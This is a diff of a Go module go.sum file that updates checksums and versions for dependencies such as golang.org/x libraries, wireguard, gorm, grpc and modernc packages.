golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w=
|
||||
golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8=
|
||||
golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ=
|
||||
golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4=
|
||||
golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4=
|
||||
golang.org/x/oauth2 v0.18.0 h1:09qnuIAgzdx1XplqJvW6CQqMCtGZykZWcXzPMPUusvI=
|
||||
golang.org/x/oauth2 v0.18.0/go.mod h1:Wf7knwG0MPoWIMMBgFlEaSUDaKskp0dCfrlJRJXbBi8=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
@@ -489,8 +467,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
|
||||
golang.org/x/sync v0.4.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
|
||||
golang.org/x/sync v0.9.0 h1:fEo0HyrW1GIgZdpbhCRO0PkJajUS5H9IFUztCgEo2jQ=
|
||||
golang.org/x/sync v0.9.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -500,22 +478,15 @@ golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200217220822-9197077df867/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200728102440-3e129f6d46b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210301091718-77cc2087c03b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220622161953-175b2fd9d664/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -526,23 +497,21 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.27.0 h1:wBqf8DvsY9Y/2P8gAfPDEYNuS30J4lPHJxXSb/nJZ+s=
|
||||
golang.org/x/sys v0.27.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.19.0 h1:+ThwsDv+tYfnJFhF4L8jITxu1tdTWRTZpdsWgEgjL6Q=
|
||||
golang.org/x/term v0.19.0/go.mod h1:2CuTdWZ7KHSQwUzKva0cbMg6q2DMI3Mmxp+gKJbskEk=
|
||||
golang.org/x/term v0.26.0 h1:WEQa6V3Gja/BhNxg540hBip/kkaYtRg3cxg4oXSw4AU=
|
||||
golang.org/x/term v0.26.0/go.mod h1:Si5m1o57C5nBNQo5z1iq+XDijt21BDBDp2bK0QI8e3E=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/text v0.20.0 h1:gK/Kv2otX8gz+wn7Rmb3vT96ZwuoxnQlY+HlJVj7Qug=
|
||||
golang.org/x/text v0.20.0/go.mod h1:D4IsuqiFMhST5bX19pQ9ikHC2GsaKyk/oF+pn3ducp4=
|
||||
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
@@ -553,21 +522,18 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.14.0 h1:jvNa2pY0M4r62jkRQ6RwEZZyPcymeL9XZMLBbV7U2nc=
|
||||
golang.org/x/tools v0.14.0/go.mod h1:uYBEerGOWcJyEORxN+Ek8+TT266gXkNlHdJBwexUsBg=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.zx2c4.com/go118/netip v0.0.0-20211111135330-a4a02eeacf9d/go.mod h1:5yyfuiqVIJ7t+3MqrpTQ+QqRkMWiESiyDvPNvKYCecg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 h1:B82qJJgjvYKsXS9jeunTOisW56dUokqW/FOteYJJ/yg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220202223031-3b95c81cc178/go.mod h1:TjUWrnD5ATh7bFvmm/ALEJZQ4ivKbETb6pmyj1vUoNI=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb h1:c5tyN8sSp8jSDxdCCDXVOpJwYXXhmTkNMt+g0zTSOic=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68 h1:9c4/JVIQUc2qCJEEIiGIs3HmmnFjhPj4qHW4+Uj+u3U=
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68/go.mod h1:8P32Ilp1kCpwB4ItaHyvSk4xAtnpQ+8gQVfg5WaO1TU=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173 h1:/jFs0duh4rdb8uIfPMv78iAJGcPKDeqAFnaLBropIC4=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6 h1:CawjfCvYQH2OU3/TnxLx97WDSUDRABfT18pCOYwc2GE=
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6/go.mod h1:3rxYc4HtVcSG9gVaTs2GEBdehh+sYPOwKtyUWEOTb80=
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3 h1:On6j2Rpn3OEMXqBq00QEDC7bWSZrPIHKIus8eIuExIE=
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prrtqm+REGFifP60hI=
|
||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||
@@ -577,19 +543,17 @@ google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJ
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 h1:NnYq6UN9ReLM9/Y01KWNOWyI5xQ9kbIms5GGJVwS/Yc=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237/go.mod h1:WtryC6hu0hhx87FDGxWCDptyssuo68sk10vYjF+T9fY=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
||||
google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=
|
||||
google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI=
|
||||
google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
|
||||
google.golang.org/grpc v1.64.1 h1:LKtvyfbX3UGVPFcGqJ9ItpVWW6oN/2XqTxfAnwRRXiA=
|
||||
google.golang.org/grpc v1.64.1/go.mod h1:hiQF4LFZelK2WKaP6W0L92zGHtiQdZxk8CrSdvyjeP0=
|
||||
google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg=
|
||||
google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
@@ -614,58 +578,54 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.5.1 h1:WUEH5VF9obL/lTtzjmML/5e6VfFR/788coz2uaVCAZw=
|
||||
gorm.io/driver/mysql v1.5.1/go.mod h1:Jo3Xu7mMhCyj8dlrb3WoCaRd1FhsVh+yMXb1jUInf5o=
|
||||
gorm.io/driver/postgres v1.5.2 h1:ytTDxxEv+MplXOfFe3Lzm7SjG09fcdb3Z/c056DTBx0=
|
||||
gorm.io/driver/postgres v1.5.2/go.mod h1:fmpX0m2I1PKuR7mKZiEluwrP3hbs+ps7JIGMUBpCgl8=
|
||||
gorm.io/driver/sqlite v1.5.4 h1:IqXwXi8M/ZlPzH/947tn5uik3aYQslP9BVveoax0nV0=
|
||||
gorm.io/driver/sqlite v1.5.4/go.mod h1:qxAuCol+2r6PannQDpOP1FP6ag3mKi4esLnB/jHed+4=
|
||||
gorm.io/gorm v1.25.1/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gorm.io/gorm v1.25.5 h1:zR9lOiiYf09VNh5Q1gphfyia1JpiClIWG9hQaxB/mls=
|
||||
gorm.io/gorm v1.25.5/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
|
||||
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6 h1:QYF5D47yyyibiD9otaga9OZu9JK/epGfDfJckWn3TAI=
|
||||
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6/go.mod h1:10sU+Uh5KKNv1+2x2A0Gvzt8FjD3ASIhorV3YsauXhk=
|
||||
gorm.io/driver/postgres v1.5.9 h1:DkegyItji119OlcaLjqN11kHoUgZ/j13E0jkJZgD6A8=
|
||||
gorm.io/driver/postgres v1.5.9/go.mod h1:DX3GReXH+3FPWGrrgffdvCk3DQ1dwDPdmbenSkweRGI=
|
||||
gorm.io/driver/mysql v1.5.7 h1:MndhOPYOfEp2rHKgkZIhJ16eVUIRf2HmzgoPmh7FCWo=
|
||||
gorm.io/driver/mysql v1.5.7/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM=
|
||||
gorm.io/driver/sqlite v1.5.5 h1:7MDMtUZhV065SilG62E0MquljeArQZNfJnjd9i9gx3E=
|
||||
gorm.io/driver/sqlite v1.5.5/go.mod h1:6NgQ7sQWAIFsPrJJl1lSNSu2TABh0ZZ/zm5fosATavE=
|
||||
gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
|
||||
gorm.io/gorm v1.25.10 h1:dQpO+33KalOA+aFYGlK+EfxcI5MbO7EP2yYygwh9h+s=
|
||||
gorm.io/gorm v1.25.10/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
|
||||
gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3 h1:/8/t5pz/mgdRXhYOIeqqYhFAQLE4DDGegc0Y4ZjyFJM=
|
||||
gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3/go.mod h1:NQHVAzMwvZ+Qe3ElSiHmq9RUm1MdNHpUZ52fiEqvn+0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.4.6 h1:oFEHCKeID7to/3autwsWfnuv69j3NsfcXbvJKuIcep8=
|
||||
honnef.co/go/tools v0.4.6/go.mod h1:+rnGS1THNh8zMwnd2oVOTL9QF6vmfyG6ZXBULae2uc0=
|
||||
howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM=
|
||||
howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
|
||||
inet.af/peercred v0.0.0-20210906144145-0893ea02156a h1:qdkS8Q5/i10xU2ArJMKYhVa1DORzBfYS/qA2UK2jheg=
|
||||
inet.af/peercred v0.0.0-20210906144145-0893ea02156a/go.mod h1:FjawnflS/udxX+SvpsMgZfdqx2aykOlkISeAsADi5IU=
|
||||
inet.af/wf v0.0.0-20221017222439-36129f591884 h1:zg9snq3Cpy50lWuVqDYM7AIRVTtU50y5WXETMFohW/Q=
|
||||
inet.af/wf v0.0.0-20221017222439-36129f591884/go.mod h1:bSAQ38BYbY68uwpasXOTZo22dKGy9SNvI6PZFeKomZE=
|
||||
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
|
||||
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
|
||||
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
|
||||
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
|
||||
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
|
||||
modernc.org/libc v1.29.0 h1:tTFRFq69YKCF2QyGNuRUQxKBm1uZZLubf6Cjh/pVHXs=
|
||||
modernc.org/libc v1.29.0/go.mod h1:DaG/4Q3LRRdqpiLyP0C2m1B8ZMGkQ+cCgOIjEtQlYhQ=
|
||||
modernc.org/cc/v4 v4.21.2 h1:dycHFB/jDc3IyacKipCNSDrjIC0Lm1hyoWOZTRR20Lk=
|
||||
modernc.org/cc/v4 v4.21.2/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
|
||||
modernc.org/ccgo/v4 v4.17.10 h1:6wrtRozgrhCxieCeJh85QsxkX/2FFrT9hdaWPlbn4Zo=
|
||||
